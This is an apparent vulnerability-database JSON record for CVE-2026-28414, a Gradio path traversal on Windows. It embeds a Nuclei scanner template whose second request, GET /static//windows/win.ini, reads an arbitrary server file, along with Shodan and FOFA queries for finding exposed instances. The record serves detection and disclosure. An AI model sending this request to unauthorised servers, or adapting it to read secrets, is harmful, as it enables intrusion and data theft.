{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-28414/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-28414/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-28414/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-28414/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-28414/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-28414/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-28414"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-28414"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-28414.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-28414\n\ninfo:\n  name: Gradio - Absolute Path Traversal\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Gradio < 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.\n  impact: |\n   Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.\n  remediation: |\n   Upgrade to version 6.7 or later.\n  reference:\n    - https://github.com/gradio-app/gradio/security/advisories/GHSA-39mp-8hj3-5c49\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28414\n  classification:\n    cve-id: CVE-2026-28414\n    epss-score: 0.03059\n    epss-percentile: 0.87648\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cwe-id: CWE-36\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: gradio-app\n    product: gradio\n    shodan-query: 'http.title:\"Gradio\"'\n    fofa-query: 'title=\"Gradio\" || body=\"gradio-app\"'\n  tags: cve,cve2026,gradio,lfi,traversal,unauth,windows,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(to_lower(body), \"window.gradio_config\", \"__gradio_mode__\")'\n        condition: and\n\n  - raw:\n      - |\n        GET /static//windows/win.ini HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/plain\")'\n          - 'contains_all(to_lower(body), \"[fonts]\", \"[extensions]\")'\n        condition: and\n# digest: 4a0a0047304502203629eed6953bdc0f01bc41c857b26f7039182ed336abf3f3907d4c20a821f7a8022100a45ddd8d1b03ea899670495b484bb3c97a73af2c6e581928c7ee9e70e85ad91d:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-28414"
}